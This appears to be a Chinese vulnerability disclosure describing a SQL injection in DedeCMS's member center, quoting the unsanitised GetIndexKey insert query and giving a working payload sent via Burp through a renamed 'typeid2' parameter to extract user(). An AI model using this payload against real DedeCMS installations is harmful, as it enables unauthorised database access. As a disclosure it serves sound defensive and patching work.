Dedecms 会员中心注入漏洞6

漏洞作者： Matt

[php]

5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'  /include/helpers/archive.helper.php if ( ! function_exists('GetIndexKey')) {     function GetIndexKey($arcrank, $typeid, $sortrank=0, $channelid=1, $senddate=0, $mid=1)     {         global $dsql,$senddate,$typeid2;//typeid2调用外部 结合dede的便利覆盖即可         if(empty($typeid2)) $typeid2 = 0;         if(empty($senddate)) $senddate = time();         if(empty($sortrank)) $sortrank = $senddate;         $iquery = "           INSERT INTO `#@__arctiny` (`arcrank`,`typeid`,`typeid2`,`channel`,`senddate`, `sortrank`, `mid`)           VALUES ('$arcrank','$typeid','$typeid2' , '$channelid','$senddate', '$sortrank', '$mid') ";    echo    $iquery;         $dsql->ExecuteNoneQuery($iquery);         $aid = $dsql->GetLastID();         return $aid;     } }  调用 /member/soft_add.php else if($dopost=='save') {     $description = '';     include(DEDEMEMBER.'/inc/archives_check.php');      //生成文档ID     $arcID = GetIndexKey($arcrank,$typeid,$sortrank,$channelid,$senddate,$mid);//调用了~     if(empty($arcID))

[/php]

漏洞证明：

调用的地方比较多 我就不一一写出了

测试方法

打开http://127.0.0.1/dede/member/soft_add.php

添加软件

然后打开BURP抓包

讲picnum改成typeid2

然后参数写5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'

就能看到注入结果了